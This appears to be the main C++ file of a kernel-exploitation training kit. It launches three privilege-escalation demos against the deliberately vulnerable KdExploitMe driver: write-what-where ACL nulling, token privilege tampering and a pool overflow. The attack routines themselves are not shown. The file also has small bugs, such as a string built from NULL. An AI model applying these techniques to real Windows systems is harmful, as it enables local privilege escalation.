ExploitDemos.cpp

#pragma once

#include "stdafx.h"
#include "GenericAttacks.h"
#include "PoolOverflow.h"
#include "KernelAddressLeak.h"
#include <string>

using namespace std;

void PrintHelpMenu()
{
	printf("ExploitDemos Help:\n");
	printf("Demonstrates exploiting the KdExploitMe driver.\n");
	printf("--------------\n");
	printf("ExploitDemos.exe -ExploitNumber\n");
	printf("    -01 : Demo METHOD_WRITEWHATWHERE - NULL EPROCESS ACL.\n");
	printf("    -02 : Demo METHOD_DECADDRESS - Modify token privileges.\n");
	printf("    -03 : Demo METHOD_OVERFLOWPOOL - 0xbad0b0b0, Non-Paged Pool, 64bit only.\n");
}

int _tmain(int argc, _TCHAR* argv[])
{
	string dummy = NULL;
	if (argc != 2)
	{
		PrintHelpMenu();
		return -1;
	}

	printf("Press any key and hit enter to continue...\n");
	cin >> dummy;

	HANDLE hDevice;
	DWORD errNum;


	UNREFERENCED_PARAMETER(argc);
	UNREFERENCED_PARAMETER(argv);

	//
	// open the device
	//

	if ((hDevice = CreateFile(L"\\\\.\\KdExploitMe",
		GENERIC_READ | GENERIC_WRITE,
		0,
		NULL,
		CREATE_ALWAYS,
		FILE_ATTRIBUTE_NORMAL,
		NULL)) == INVALID_HANDLE_VALUE) {

		errNum = GetLastError();

		printf("- CreateFile failed!  Error code = 0x%x\n", errNum);

		return 0;
	}


	int exploitNumber = stoi(argv[1]+1);
	switch (exploitNumber)
	{
	case 1:
		AttackWriteWhatWhere(hDevice);
		break;
	case 2:
		AttackDecAddress(hDevice);
		break;
	case 3:
		AttackPO_BAD0B0B0(hDevice);
		break;
	default:
		PrintHelpMenu();
		break;
	}


	//
	// close the handle to the device.
	//
	CloseHandle(hDevice);
}